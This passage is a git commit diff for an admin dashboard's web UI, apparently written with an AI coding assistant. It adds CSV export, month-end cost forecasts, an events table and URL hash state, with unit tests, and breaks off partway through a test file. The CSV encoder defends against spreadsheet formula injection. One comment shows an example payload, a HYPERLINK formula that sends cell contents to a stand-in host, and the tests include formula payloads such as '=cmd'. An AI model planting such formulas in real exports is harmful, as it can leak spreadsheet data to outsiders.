feat(webui): add limit bars, forecasts, events, exports and URL state

The Usage tab shows a bar for each configured limit. It turns amber at
80% and red at 100%. The tab also shows rejected requests per day, a
projected month-end cost with budget headroom, and CSV export for users
and groups. Names link to Charts with the matching scope.

The Charts tab ranks models over the full 24h, 30d or 12mo window. A
provider filter is applied on the server, and the ranking can be
exported as CSV. A new Events tab lists recent failures, filtered by
kind and user. The selected tab, filters and scope live in the URL
hash. Polling stops while the page is hidden. Views show which replica
answered, and a banner lists configuration warnings.

CSV cells that start with a formula character are neutralised. Links
sit outside the accordion buttons, so both controls keep their
accessible names. admin_assets_gen.go is regenerated.

Claude-Session: https://claude.ai/code/session_01V5jYJNxpDFdJkyyExpADrv
This commit is contained in:
2026-09-23 13:09:57 +01:00
parent 25e6a7779e
commit 4261efc41b
53 changed files with 4777 additions and 238 deletions
+86
View File
@@ -0,0 +1,86 @@
import { describe, expect, it } from 'vitest'
import { toCsv } from './csv'
describe('toCsv', () => {
it('joins a header row and data rows with CRLF, including a trailing CRLF', () => {
expect(toCsv(['a', 'b'], [['1', '2']])).toBe('a,b\r\n1,2\r\n')
})
it('renders multiple data rows in order', () => {
expect(toCsv(['id'], [['x'], ['y'], ['z']])).toBe('id\r\nx\r\ny\r\nz\r\n')
})
it('leaves a plain field bare (no quotes) when it has no special characters', () => {
expect(toCsv(['name'], [['alice']])).toBe('name\r\nalice\r\n')
})
it('quotes a field containing a comma', () => {
expect(toCsv(['name'], [['alice, bob']])).toBe('name\r\n"alice, bob"\r\n')
})
it('quotes a field containing a double quote and doubles the embedded quote', () => {
expect(toCsv(['name'], [['say "hi"']])).toBe('name\r\n"say ""hi"""\r\n')
})
it('quotes a field containing an embedded newline', () => {
expect(toCsv(['note'], [['line1\nline2']])).toBe('note\r\n"line1\nline2"\r\n')
})
it('quotes a field containing an embedded carriage return', () => {
expect(toCsv(['note'], [['line1\rline2']])).toBe('note\r\n"line1\rline2"\r\n')
})
it('stringifies numbers and booleans without caller-side conversion', () => {
expect(toCsv(['n', 'b'], [[42, true]])).toBe('n,b\r\n42,true\r\n')
})
it('renders null/undefined fields as empty, never the literal text "null"/"undefined"', () => {
expect(toCsv(['a', 'b'], [[null, undefined]])).toBe('a,b\r\n,\r\n')
})
it('quotes a header cell too, not just data cells', () => {
expect(toCsv(['a, b'], [['x']])).toBe('"a, b"\r\nx\r\n')
})
it('renders just the header row (CRLF-terminated) when there are no data rows', () => {
expect(toCsv(['only'], [])).toBe('only\r\n')
})
})
// P4 (security): OWASP CSV Injection — a cell whose text begins with a
// formula-trigger character must be neutralized with a leading single
// quote before any other quoting, so a malicious/upstream-controlled id
// never executes as a formula when the export is opened in a spreadsheet.
describe('toCsv: formula injection (P4)', () => {
it.each([
['=cmd', `id\r\n'=cmd\r\n`],
['+1+1', `id\r\n'+1+1\r\n`],
['-1+1', `id\r\n'-1+1\r\n`],
['@SUM(A1:A9)', `id\r\n'@SUM(A1:A9)\r\n`],
['\tcmd', `id\r\n'\tcmd\r\n`],
// A leading \r is ALSO an RFC 4180 special character, so this one gets
// both defenses: prefixed, then quoted (no embedded quote to double).
['\rcmd', `id\r\n"'\rcmd"\r\n`],
])('prefixes a cell starting with a formula-trigger character: %j', (raw, expected) => {
expect(toCsv(['id'], [[raw]])).toBe(expected)
})
it('leaves an ordinary id (no leading formula-trigger character) unprefixed', () => {
const csv = toCsv(['id'], [['openai/gpt-4']])
expect(csv).toBe('id\r\nopenai/gpt-4\r\n')
})
it('a formula-triggering value that ALSO needs comma/quote-quoting gets both defenses (prefixed, then quoted)', () => {
const csv = toCsv(['id'], [['=A1, "x"']])
expect(csv).toBe(`id\r\n"'=A1, ""x"""\r\n`)
})
it('does not treat a bare "=" alone as anything other than a formula trigger (still prefixed)', () => {
expect(toCsv(['v'], [['=']])).toBe("v\r\n'=\r\n")
})
it('a value merely CONTAINING (not starting with) a trigger character is left unprefixed', () => {
expect(toCsv(['note'], [['cost=5']])).toBe('note\r\ncost=5\r\n')
})
})
+61
View File
@@ -0,0 +1,61 @@
// F8 (CSV export): the one RFC 4180 encoder every CSV export in this panel
// builds on (usage-csv.ts's usageCsv/modelRankingCsv, WP-B2's Models tab
// export) — one implementation, not a copy per export (vue.md: "if you've
// written it twice, you owe an abstraction").
/** CSV_LINE_ENDING is RFC 4180's own line terminator (CRLF), not the bare "\n" a JS template literal defaults to — Excel and most spreadsheet importers expect it, and RFC 4180 section 2.1 requires it. */
const CSV_LINE_ENDING = '\r\n'
/** CSV_SPECIAL_CHARS matches any character that forces a field into a quoted form: comma (the delimiter itself), a double quote, or either newline character a multi-line field could carry. */
const CSV_SPECIAL_CHARS = /[",\r\n]/
/**
* CSV_FORMULA_LEAD_CHARS matches a cell whose text BEGINS with a character
* a spreadsheet importer (Excel, Google Sheets, LibreOffice) treats as the
* start of a formula: `=` `+` `-` `@`, or a leading tab/carriage return
* (both used historically to smuggle a formula past a leading-character
* check alone — OWASP's CSV Injection guidance lists all six). P4
* (security): model ids and user/group ids exported by this panel are
* partly UPSTREAM-controlled (a discovered model id, admin.go) or
* operator-configured — a malicious id like
* `=HYPERLINK("http://x/?"&A1,"x")` executes the moment the export is
* opened in a spreadsheet, not just displayed as text.
*/
const CSV_FORMULA_LEAD_CHARS = /^[=+\-@\t\r]/
/**
* csvField renders one cell as an RFC 4180 field: `String(value)` first (so
* callers can pass numbers/booleans/undefined without converting them
* first — `undefined`/`null` become the empty string, not the literal text
* "undefined"/"null"). A value starting with a formula-trigger character
* (CSV_FORMULA_LEAD_CHARS above) is prefixed with a single quote FIRST
* (OWASP CSV Injection guidance: a leading `'` makes every major
* spreadsheet importer treat the whole cell as literal text, never a
* formula) — quoting/escaping below then applies to that neutralized text,
* exactly as it would to any other value, so a formula-triggering id that
* also contains a comma or quote still gets both defenses. A field with
* neither a formula-trigger character nor an RFC 4180 special character is
* left bare — matches every real-world CSV consumer's expectation and
* keeps the common case (plain numbers, short ids) readable in a text
* diff.
*/
function csvField(value: unknown): string {
let s = value === null || value === undefined ? '' : String(value)
if (CSV_FORMULA_LEAD_CHARS.test(s)) s = `'${s}`
if (!CSV_SPECIAL_CHARS.test(s)) return s
return `"${s.replace(/"/g, '""')}"`
}
/**
* toCsv renders a header row plus data rows as one RFC 4180 CSV string:
* CRLF between every row (including after the final one, matching most
* spreadsheet tools' own export convention), each field quoted only when
* it needs to be (csvField above). Every export in this panel
* (usage-csv.ts, and WP-B2's model-ranking export) funnels through this
* one function so quoting/line-ending behavior is defined and tested in
* exactly one place.
*/
export function toCsv(headers: string[], rows: unknown[][]): string {
const lines = [headers, ...rows].map((row) => row.map(csvField).join(','))
return lines.join(CSV_LINE_ENDING) + CSV_LINE_ENDING
}
+58
View File
@@ -0,0 +1,58 @@
import { copyText } from '@/lib/clipboard'
/** CSV_MIME_TYPE is the Blob type every export in this panel downloads as — text/csv with an explicit UTF-8 charset, so a spreadsheet importer opening the file directly (not pasting it) reads non-ASCII bytes correctly. */
export const CSV_MIME_TYPE = 'text/csv;charset=utf-8;'
/** The outcome downloadText actually achieved, so a caller (CsvExportButton.vue) can show the right feedback: a real file save, or the clipboard/selection fallback (copyText's own two success modes), or neither. */
export type DownloadOutcome = 'downloaded' | 'copied' | 'selected' | 'failed'
/**
* REVOKE_DELAY_MS (P5 review fix) defers URL.revokeObjectURL past the
* click() call below — revoking SYNCHRONOUSLY, right after click(), can
* cancel the download in some WebKit and older Firefox builds: click()
* only STARTS the download, it does not wait for the browser to finish
* reading the blob, so revoking on the very next line raced the read. A
* full second is generous rather than the minimal `setTimeout(fn, 0)`
* (which only guarantees one macrotask, not "download started") — the
* blob itself is only released a little later either way, and this is a
* one-off per export click, never a hot path.
*/
const REVOKE_DELAY_MS = 1000
/**
* downloadText saves `content` as a local file named `filename` (Q8,
* coordinator decision: Blob + `<a download>`, the standard no-server-
* round-trip browser download idiom — no File System Access API, which
* is Chromium-only and needs a user-activation prompt this panel's CSP
* would complicate for no benefit here).
*
* Guarded for a non-DOM environment (this module is never unit-tested —
* see WP-B1's own test plan, lib/download.ts has no .spec.ts — but a
* defensive `typeof document` check keeps it from throwing if it is ever
* imported somewhere `document` is not global, matching useTabHash.ts's
* own `hasWindow` convention). The clipboard fallback (copyText, Q8) runs
* ONLY when the Blob/URL/anchor machinery itself is unavailable or throws
* (a Blob/URL API genuinely unsupported, or the synthetic click rejected)
* — never merely because a download was silently blocked by the browser,
* which raises no exception here to catch. Returns the actual outcome
* (never discarded — CsvExportButton.vue renders it as brief feedback) so
* a caller can tell "downloaded" from the fallback's own "copied"/
* "selected"/"failed".
*/
export async function downloadText(filename: string, content: string, mimeType = CSV_MIME_TYPE): Promise<DownloadOutcome> {
if (typeof document === 'undefined') return 'failed'
try {
const blob = new Blob([content], { type: mimeType })
const url = URL.createObjectURL(blob)
const anchor = document.createElement('a')
anchor.href = url
anchor.download = filename
document.body.appendChild(anchor)
anchor.click()
anchor.remove()
setTimeout(() => URL.revokeObjectURL(url), REVOKE_DELAY_MS)
return 'downloaded'
} catch {
return copyText(content)
}
}
+101
View File
@@ -0,0 +1,101 @@
import type { ColumnDef } from '@tanstack/vue-table'
import { h } from 'vue'
import { Badge } from '@/components/ui/badge'
import { EVENT_KIND_LABEL, eventKindVariant } from '@/lib/events-filter'
import { formatTimestamp } from '@/lib/format'
import type { AdminEventKind, AdminEventView } from '@/types/api'
/** kindLabel falls back to the raw kind string for a version-skewed server build emitting a kind EVENT_KIND_LABEL does not know — same "still render it" convention AdminEventView.kind's own `| string` union documents. */
function kindLabel(kind: string): string {
return EVENT_KIND_LABEL[kind as AdminEventKind] ?? kind
}
/** scopeText renders one event's user/group — a user-scoped event never carries a group and vice versa (AdminEventView's own doc comment), so at most one of the two is ever present; an event with neither (a total/all-scope event, e.g. a capacity rejection recorded user-less — DECISIONS Q4) renders an em dash. */
function scopeText(e: AdminEventView): string {
if (e.user) return `user:${e.user}`
if (e.group) return `group:${e.group}`
return '—'
}
/** targetText renders one event's model/provider pair — joined when both are known (an upstream/timeout event names both), just the one that is known otherwise, and an em dash when neither applies (a rate_limit/budget event never carries either). */
function targetText(e: AdminEventView): string {
const parts = [e.model, e.provider].filter((v): v is string => Boolean(v))
return parts.length ? parts.join(' → ') : '—'
}
/**
* eventsColumns builds the Events tab's DataTable ColumnDef set
* (admin.go/events.go: gatewayEvent — F3). Mirrors target-columns.ts's own
* shape: a Badge for the classified `kind` column (eventKindVariant), plain
* muted text for everything free-form (route/message), an em dash for a
* field this row does not carry rather than a blank cell.
*/
export function eventsColumns(): ColumnDef<AdminEventView, unknown>[] {
return [
{
id: 'time',
header: 'Time',
accessorFn: (e) => e.time,
cell: ({ row }) => h('span', { class: 'text-muted-foreground tabular-nums' }, formatTimestamp(row.original.time)),
},
{
id: 'kind',
header: 'Kind',
accessorFn: (e) => e.kind,
cell: ({ row }) =>
h(
Badge,
{ as: 'span', variant: eventKindVariant(row.original.kind), class: 'font-normal' },
() => kindLabel(row.original.kind),
),
},
{
id: 'route',
header: 'Route',
accessorFn: (e) => e.route,
cell: ({ row }) => h('span', { class: 'font-mono text-xs' }, row.original.route),
},
{
id: 'scope',
header: 'User / group',
enableSorting: false,
accessorFn: (e) => e.user ?? e.group ?? '',
cell: ({ row }) => {
const text = scopeText(row.original)
return h('span', { class: text === '—' ? 'text-muted-foreground' : undefined }, text)
},
},
{
id: 'target',
header: 'Model / provider',
enableSorting: false,
accessorFn: (e) => `${e.model ?? ''} ${e.provider ?? ''}`,
cell: ({ row }) => {
const text = targetText(row.original)
return h('span', { class: text === '—' ? 'text-muted-foreground' : 'font-mono text-xs' }, text)
},
},
{
id: 'replica',
header: 'Replica',
accessorFn: (e) => e.replica,
cell: ({ row }) => h('span', { class: 'text-muted-foreground' }, row.original.replica),
},
{
id: 'status',
header: 'Status',
meta: { align: 'right' },
accessorFn: (e) => e.status ?? 0,
cell: ({ row }) =>
h('span', { class: 'tabular-nums' }, row.original.status !== undefined ? String(row.original.status) : '—'),
},
{
id: 'message',
header: 'Message',
enableSorting: false,
accessorFn: (e) => e.message,
cell: ({ row }) => h('span', { class: 'text-muted-foreground' }, row.original.message),
},
]
}
+116
View File
@@ -0,0 +1,116 @@
import { describe, expect, it } from 'vitest'
import { eventKindVariant, EVENT_KIND_LABEL, EVENT_KINDS, filterEvents } from './events-filter'
import type { AdminEventView } from '@/types/api'
function event(overrides: Partial<AdminEventView> = {}): AdminEventView {
return {
time: '2026-08-20T12:00:00Z',
replica: 'pod-a',
route: 'chat/completions',
kind: 'rate_limit',
message: 'requests/min limit exceeded',
...overrides,
}
}
describe('EVENT_KIND_LABEL', () => {
it('has a label for every AdminEventKind the server can emit', () => {
const kinds = ['rate_limit', 'budget', 'store_down', 'upstream', 'timeout', 'unpriced', 'capacity'] as const
for (const kind of kinds) {
expect(EVENT_KIND_LABEL[kind]).toBeTruthy()
}
})
})
// P11 review fix: EVENT_KINDS is derived from EVENT_KIND_LABEL's own keys
// (the single source of truth), not a third independent literal array —
// this pins that it actually contains every known kind, in the same order
// EVENT_KIND_LABEL's own keys were declared.
describe('EVENT_KINDS', () => {
it('contains every known AdminEventKind, derived from EVENT_KIND_LABEL', () => {
expect(EVENT_KINDS).toEqual(Object.keys(EVENT_KIND_LABEL))
expect(EVENT_KINDS).toEqual(['rate_limit', 'budget', 'store_down', 'upstream', 'timeout', 'unpriced', 'capacity'])
})
it('every entry has a truthy label (no silently-empty display text)', () => {
for (const kind of EVENT_KINDS) {
expect(EVENT_KIND_LABEL[kind]).toBeTruthy()
}
})
})
describe('eventKindVariant', () => {
it.each([
['rate_limit', 'destructive'],
['budget', 'destructive'],
['capacity', 'destructive'],
['store_down', 'secondary'],
['upstream', 'secondary'],
['timeout', 'secondary'],
['unpriced', 'outline'],
] as const)('maps %s to %s', (kind, variant) => {
expect(eventKindVariant(kind)).toBe(variant)
})
it('falls back to outline (the neutral variant) for a kind this build does not recognize', () => {
expect(eventKindVariant('some_future_kind')).toBe('outline')
})
})
describe('filterEvents', () => {
const events: AdminEventView[] = [
event({ kind: 'rate_limit', user: 'alice' }),
event({ kind: 'budget', group: 'ops' }),
event({ kind: 'upstream', user: 'bob-smith' }),
event({ kind: 'timeout' }), // neither user nor group — a total/all-scope or capacity-style event
]
it('returns every event when no filter is set', () => {
expect(filterEvents(events, { kind: '', user: '' })).toHaveLength(4)
})
it('filters by exact kind', () => {
const result = filterEvents(events, { kind: 'budget', user: '' })
expect(result).toHaveLength(1)
expect(result[0]!.group).toBe('ops')
})
it('matches user against the event\'s own user field, case-insensitively, substring', () => {
const result = filterEvents(events, { kind: '', user: 'ALICE' })
expect(result).toHaveLength(1)
expect(result[0]!.user).toBe('alice')
})
it('matches user against the event\'s own group field too (a group-scoped event has no user)', () => {
const result = filterEvents(events, { kind: '', user: 'ops' })
expect(result).toHaveLength(1)
expect(result[0]!.group).toBe('ops')
})
it('matches a partial substring, not just a full match', () => {
const result = filterEvents(events, { kind: '', user: 'smith' })
expect(result).toHaveLength(1)
expect(result[0]!.user).toBe('bob-smith')
})
it('trims and lowercases the raw query defensively, even if a caller skips useSearchQuery', () => {
const result = filterEvents(events, { kind: '', user: ' Alice ' })
expect(result).toHaveLength(1)
})
it('combines kind and user filters (both must match)', () => {
const result = filterEvents(events, { kind: 'upstream', user: 'bob' })
expect(result).toHaveLength(1)
expect(result[0]!.user).toBe('bob-smith')
})
it('excludes an event with neither user nor group once a user filter is active', () => {
const result = filterEvents(events, { kind: '', user: 'anything' })
expect(result.every((e) => e.user || e.group)).toBe(true)
})
it('returns an empty array when nothing matches', () => {
expect(filterEvents(events, { kind: 'unpriced', user: '' })).toEqual([])
})
})
+82
View File
@@ -0,0 +1,82 @@
import type { AdminEventKind, AdminEventView } from '@/types/api'
/** EVENT_KIND_LABEL is the Events view's display text for each AdminEventKind — both the kind-filter Select's option labels and each row's Kind badge. */
export const EVENT_KIND_LABEL: Record<AdminEventKind, string> = {
rate_limit: 'Rate limit',
budget: 'Budget',
store_down: 'Store down',
upstream: 'Upstream error',
timeout: 'Timeout',
unpriced: 'Unpriced model',
capacity: 'Capacity',
}
/**
* EVENT_KINDS (P11 review fix, DRY) is the ONE ordered list of every known
* AdminEventKind, derived from EVENT_KIND_LABEL's own keys rather than a
* third independent literal array — this codebase had the kind set spelled
* out three times (the AdminEventKind union itself, types/api.ts;
* EVENT_KIND_LABEL's keys, above; and EventsView.vue's own local
* KIND_OPTIONS array), which is exactly the vue.md "if you've written it
* twice, you owe an abstraction" case. `Object.keys` on a `Record<K,
* string>` widens to `string[]`, so this re-asserts the same union type
* the object literal above was already checked against — never a runtime
* risk of drifting from it, since adding/removing a kind requires editing
* EVENT_KIND_LABEL either way (a missing/extra key is a compile error
* there first).
*/
export const EVENT_KINDS = Object.keys(EVENT_KIND_LABEL) as AdminEventKind[]
/**
* eventKindVariant maps a kind to the shadcn-vue Badge variant its row
* renders (lib/events-columns.ts): destructive for the three kinds where a
* request was actually DENIED (rate_limit, budget, capacity — money or
* quota was protected), secondary for an infra/upstream failure that is
* not itself a policy decision (store_down, upstream, timeout), outline
* for the purely informational unpriced kind (nothing was denied or
* failed) — and outline again as the fallback for a kind this webui build
* does not recognize (a server newer than this client), mirroring
* target-columns.ts's healthCell "unrecognized reads as the neutral
* state, never the alarming one" convention.
*/
export function eventKindVariant(kind: string): 'destructive' | 'secondary' | 'outline' {
switch (kind) {
case 'rate_limit':
case 'budget':
case 'capacity':
return 'destructive'
case 'store_down':
case 'upstream':
case 'timeout':
return 'secondary'
default:
return 'outline'
}
}
/** EventFilter is filterEvents' own query shape — kind is an exact AdminEventKind match ('' means "every kind"); user is matched, case-insensitively, against EITHER the event's user OR its group (a group-scoped event has no user, and vice versa — see AdminEventView's own doc comment). */
export interface EventFilter {
kind: string
user: string
}
/**
* filterEvents narrows the (already newest-first) event list to the
* current kind/user selection. `filter.user` is matched pre-normalized —
* callers pair this with useSearchQuery()'s own `normalized` the same way
* every other search filter in this panel does (ProvidersView.vue's
* modelMatches, lib/usage-search.ts) — this function itself does no
* trimming or casing of its own beyond a defensive `.trim().toLowerCase()`
* so it is still correct if a caller passes the raw query directly.
*/
export function filterEvents(events: AdminEventView[], filter: EventFilter): AdminEventView[] {
const kind = filter.kind
const user = filter.user.trim().toLowerCase()
return events.filter((e) => {
if (kind && e.kind !== kind) return false
if (!user) return true
const userMatch = e.user?.toLowerCase().includes(user) ?? false
const groupMatch = e.group?.toLowerCase().includes(user) ?? false
return userMatch || groupMatch
})
}
+107
View File
@@ -0,0 +1,107 @@
import { describe, expect, it } from 'vitest'
import { headroom, MIN_PROJECTION_FRACTION, monthProgress, projectMonthEnd } from './forecast'
describe('monthProgress', () => {
it('reads 0 at the first instant of a UTC month', () => {
expect(monthProgress(new Date(Date.UTC(2026, 2, 1, 0, 0, 0)))).toBe(0)
})
it('reads exactly 0.5 at the midpoint of a 30-day month (April)', () => {
expect(monthProgress(new Date(Date.UTC(2026, 3, 16, 0, 0, 0)))).toBe(0.5)
})
it('reads approaching 1 near the end of the month, never reaching or exceeding it', () => {
const p = monthProgress(new Date(Date.UTC(2026, 2, 31, 23, 59, 59)))
expect(p).toBeLessThan(1)
expect(p).toBeGreaterThan(0.99)
})
it('handles a leap February (2028 has 29 days) — Feb 15 sits near the midpoint of 29, not 28, days', () => {
const p = monthProgress(new Date(Date.UTC(2028, 1, 15, 12, 0, 0)))
// 14.5 days elapsed of 29 total = exactly 0.5.
expect(p).toBeCloseTo(0.5, 10)
})
it('handles December -> January rollover without a hardcoded month-length table', () => {
const p = monthProgress(new Date(Date.UTC(2026, 11, 16, 0, 0, 0)))
expect(p).toBeCloseTo(15 / 31, 10)
})
})
describe('projectMonthEnd', () => {
it('returns null below MIN_PROJECTION_FRACTION — too early in the month to extrapolate', () => {
expect(projectMonthEnd(1_000_000, MIN_PROJECTION_FRACTION - 0.001)).toBeNull()
})
it('returns null at elapsedFraction 0 (the very first instant) rather than dividing by zero', () => {
expect(projectMonthEnd(0, 0)).toBeNull()
})
it('returns null at exactly the threshold boundary minus epsilon, but projects at the threshold itself', () => {
expect(projectMonthEnd(1000, MIN_PROJECTION_FRACTION)).toBe(Math.round(1000 / MIN_PROJECTION_FRACTION))
})
it('linearly extrapolates mtd/elapsedFraction, rounded to the nearest whole micro-USD', () => {
expect(projectMonthEnd(15_000_000, 0.5)).toBe(30_000_000)
})
it('rounds a non-exact division to the nearest integer', () => {
expect(projectMonthEnd(1, 0.3)).toBe(Math.round(1 / 0.3))
})
it('projects a full-month reading (elapsedFraction 1) back to itself', () => {
expect(projectMonthEnd(7_500_000, 1)).toBe(7_500_000)
})
})
// End-to-end monthProgress -> projectMonthEnd against real UTC clock times,
// not just a bare elapsedFraction — pins MIN_PROJECTION_FRACTION's real-
// world meaning (0.02 of a 30-day month is 14.4 hours, NOT minutes) against
// an actual point in a month.
describe('monthProgress -> projectMonthEnd (real clock times)', () => {
it('the first hour of a 30-day month is well under MIN_PROJECTION_FRACTION — no projection yet', () => {
const oneHourIn = new Date(Date.UTC(2026, 3, 1, 1, 0, 0))
expect(projectMonthEnd(100_000, monthProgress(oneHourIn))).toBeNull()
})
it('13 hours into a 30-day month is still under the threshold', () => {
const thirteenHoursIn = new Date(Date.UTC(2026, 3, 1, 13, 0, 0))
expect(projectMonthEnd(100_000, monthProgress(thirteenHoursIn))).toBeNull()
})
it('16 hours into a 30-day month has cleared the threshold and projects', () => {
const sixteenHoursIn = new Date(Date.UTC(2026, 3, 1, 16, 0, 0))
expect(projectMonthEnd(100_000, monthProgress(sixteenHoursIn))).not.toBeNull()
})
})
describe('headroom', () => {
it('returns all-null, willExceed false when projectedMicros is null (too early to project)', () => {
expect(headroom(null, 100)).toEqual({ limitMicros: null, remainingMicros: null, willExceed: false })
})
it('returns all-null, willExceed false when limitUsd is undefined (unlimited)', () => {
expect(headroom(5_000_000, undefined)).toEqual({ limitMicros: null, remainingMicros: null, willExceed: false })
})
it('returns all-null, willExceed false when limitUsd is 0 (LimitsConfig "unlimited" convention)', () => {
expect(headroom(5_000_000, 0)).toEqual({ limitMicros: null, remainingMicros: null, willExceed: false })
})
it('returns all-null, willExceed false for a negative limitUsd (defensive)', () => {
expect(headroom(5_000_000, -10)).toEqual({ limitMicros: null, remainingMicros: null, willExceed: false })
})
it('reports positive remainingMicros and willExceed false when the projection stays under the limit', () => {
expect(headroom(4_000_000, 5)).toEqual({ limitMicros: 5_000_000, remainingMicros: 1_000_000, willExceed: false })
})
it('reports negative remainingMicros and willExceed true once the projection crosses the limit', () => {
expect(headroom(6_000_000, 5)).toEqual({ limitMicros: 5_000_000, remainingMicros: -1_000_000, willExceed: true })
})
it('treats an exact match (projection == limit) as not exceeding (remainingMicros 0)', () => {
expect(headroom(5_000_000, 5)).toEqual({ limitMicros: 5_000_000, remainingMicros: 0, willExceed: false })
})
})
+106
View File
@@ -0,0 +1,106 @@
// F7 (cost forecast): pure month-to-date -> projected-month-end math for
// CostForecastCard.vue and usage-columns.ts's costMonthProj column. Kept
// out of the component/column the same way lib/usage-bars.ts and lib/
// provider-rate.ts keep their own math out of their components — vitest's
// node-environment config (vite.config.ts's `test` block) exercises it
// directly, no component mount or fake timers required (every function
// here takes `now`/`elapsedFraction` as an explicit argument, never reads
// Date.now() itself).
//
// All month-boundary math is UTC (coordinator brief): costPerMonthMicroUsd
// (admin.go, adminUsageEntryView) accumulates against a UTC calendar
// month bucket (limits.go's windowKey "200601" — same convention
// lib/format.ts's formatBucketLabel documents for the hour/day buckets),
// so projecting against the LOCAL calendar month would silently misalign
// with the figure actually being projected on the last/first day of a
// month in any timezone west or east of UTC.
// MICROS_PER_USD (P11 review fix, DRY): imported from lib/usage-bars.ts,
// the one shared definition — this module used to declare its own
// identical copy, one of three (usage-bars.ts, usage-columns.ts) the
// coordinator's review flagged.
import { MICROS_PER_USD } from '@/lib/usage-bars'
/**
* MIN_PROJECTION_FRACTION is the smallest elapsed-month fraction
* projectMonthEnd will extrapolate from — below it (coordinator: "null
* below MIN_PROJECTION_FRACTION"), too little of the month has elapsed for
* a mtd/elapsed extrapolation to mean anything: a single early request
* would otherwise project to a wildly overstated month-end figure. 0.02 of
* a 30-day month is 0.6 days — 14.4 hours; of a 31-day month, 0.62 days —
* 14.88 hours. Both round to "the first ~14-15 hours of the month",
* comfortably past the first request of any real deployment's day but
* still early enough that a genuinely idle scope reports no projection at
* all rather than a fabricated one.
*/
export const MIN_PROJECTION_FRACTION = 0.02
/**
* monthProgress returns how far `now` has advanced through ITS OWN UTC
* calendar month, as a fraction in [0, 1): 0 at the first instant of the
* month (UTC midnight on the 1st), approaching 1 as the month's last
* instant nears. Correct across every month length (28/29/30/31 days,
* including a leap February) because it measures against the ACTUAL
* elapsed span from this month's start to next month's start, computed
* with Date.UTC (which itself normalizes an out-of-range month index —
* `Date.UTC(y, 12, 1)` for December's "next month" already resolves to
* January 1 of `y + 1`), never a hardcoded days-per-month table.
*/
export function monthProgress(now: Date): number {
const year = now.getUTCFullYear()
const month = now.getUTCMonth()
const monthStart = Date.UTC(year, month, 1)
const nextMonthStart = Date.UTC(year, month + 1, 1)
const elapsedMs = now.getTime() - monthStart
const totalMs = nextMonthStart - monthStart
return elapsedMs / totalMs
}
/**
* projectMonthEnd linearly extrapolates a month-to-date micro-USD total to
* a projected month-end total: `mtdMicros / elapsedFraction`, rounded to
* the nearest whole micro-USD (matching metrics.go's own usdToMicros
* round convention, dashboard-plan.md section 0 ground truth). Returns
* null below MIN_PROJECTION_FRACTION (coordinator decision) — including
* for `elapsedFraction === 0`, which would otherwise divide by zero — so
* a caller renders "not enough data yet" instead of a meaningless or
* infinite figure for the first sliver of a month.
*/
export function projectMonthEnd(mtdMicros: number, elapsedFraction: number): number | null {
if (elapsedFraction < MIN_PROJECTION_FRACTION) return null
return Math.round(mtdMicros / elapsedFraction)
}
/**
* CostHeadroom is projectMonthEnd's projected total compared against a
* scope's configured costPerMonthUSD limit (LimitsConfig — 0/undefined
* means unlimited, formatLimits' own convention). `limitMicros`/
* `remainingMicros` are both null whenever there is nothing to compare
* against (no limit configured, or no projection yet); `willExceed` is
* true only when a real projection crosses a real, positive limit.
*/
export interface CostHeadroom {
limitMicros: number | null
/** limitMicros - projectedMicros — negative once the projection has crossed the limit. Null under the same conditions limitMicros is null. */
remainingMicros: number | null
willExceed: boolean
}
/**
* headroom compares a projected month-end micro-USD total against an
* optional costPerMonthUSD limit. `projectedMicros` is null whenever
* projectMonthEnd itself returned null (too early in the month) —
* headroom then has nothing to report either, regardless of whether a
* limit is configured, since "will it exceed" cannot be answered yet.
* `limitUsd` undefined, zero, or negative all read as "unlimited"
* (LimitsConfig's own convention — formatLimits' identical `if (limits.x)`
* gate), never divide-by-zero or a fabricated 0% headroom.
*/
export function headroom(projectedMicros: number | null, limitUsd: number | undefined): CostHeadroom {
if (projectedMicros === null || limitUsd === undefined || limitUsd <= 0) {
return { limitMicros: null, remainingMicros: null, willExceed: false }
}
const limitMicros = Math.round(limitUsd * MICROS_PER_USD)
const remainingMicros = limitMicros - projectedMicros
return { limitMicros, remainingMicros, willExceed: remainingMicros < 0 }
}
+153
View File
@@ -0,0 +1,153 @@
import { describe, expect, it } from 'vitest'
import {
buildHash,
DEFAULT_TAB,
parseChartsParams,
parseEventsParams,
parseHashState,
parseUsageParams,
} from './hash-state'
describe('parseHashState', () => {
it('splits a tab and query string', () => {
const { tab, query } = parseHashState('#charts?window=day&scope=user%3Aalice')
expect(tab).toBe('charts')
expect(query.get('window')).toBe('day')
expect(query.get('scope')).toBe('user:alice')
})
it('parses a bare tab with no query to an empty query', () => {
const { tab, query } = parseHashState('#usage')
expect(tab).toBe('usage')
expect(Array.from(query.keys())).toEqual([])
})
it('falls back to DEFAULT_TAB for an empty hash', () => {
expect(parseHashState('').tab).toBe(DEFAULT_TAB)
})
it('falls back to DEFAULT_TAB for an unrecognized tab, and still parses its query', () => {
const { tab, query } = parseHashState('#bogus?window=day')
expect(tab).toBe(DEFAULT_TAB)
expect(query.get('window')).toBe('day')
})
it('accepts a hash with or without the leading #', () => {
expect(parseHashState('targets').tab).toBe('targets')
})
it('every valid tab round-trips through parseHashState(buildHash(...))', () => {
for (const tab of ['providers', 'usage', 'charts', 'targets', 'events'] as const) {
expect(parseHashState(buildHash(tab, {})).tab).toBe(tab)
}
})
})
describe('buildHash', () => {
it('omits the query suffix entirely when params is empty', () => {
expect(buildHash('providers', {})).toBe('#providers')
})
it('appends a query string for non-empty params', () => {
expect(buildHash('charts', { window: 'day' })).toBe('#charts?window=day')
})
it('joins multiple params with &', () => {
const hash = buildHash('charts', { window: 'day', scope: 'user:alice' })
expect(hash).toBe('#charts?window=day&scope=user%3Aalice')
})
it('drops a param whose value is an explicit empty string', () => {
expect(buildHash('usage', { q: '' })).toBe('#usage')
})
})
describe('parseChartsParams', () => {
it('accepts every valid window/tab/metric value', () => {
const p = parseChartsParams(new URLSearchParams('window=month&tab=models&metric=tokin'))
expect(p).toEqual({ window: 'month', tab: 'models', metric: 'tokin' })
})
it('omits window when it is not a recognized HistoryWindow', () => {
expect(parseChartsParams(new URLSearchParams('window=fortnight'))).toEqual({})
})
it('omits tab when it is not a recognized ChartTab', () => {
expect(parseChartsParams(new URLSearchParams('tab=bogus'))).toEqual({})
})
it('omits metric when it is not a recognized ModelMetric', () => {
expect(parseChartsParams(new URLSearchParams('metric=bogus'))).toEqual({})
})
it('reads filter when present (free text, not an enum — same convention as scope/q)', () => {
expect(parseChartsParams(new URLSearchParams('filter=openai%2F'))).toEqual({ filter: 'openai/' })
})
it('omits filter when absent', () => {
expect(parseChartsParams(new URLSearchParams())).toEqual({})
})
it('omits filter when it is an explicit empty string', () => {
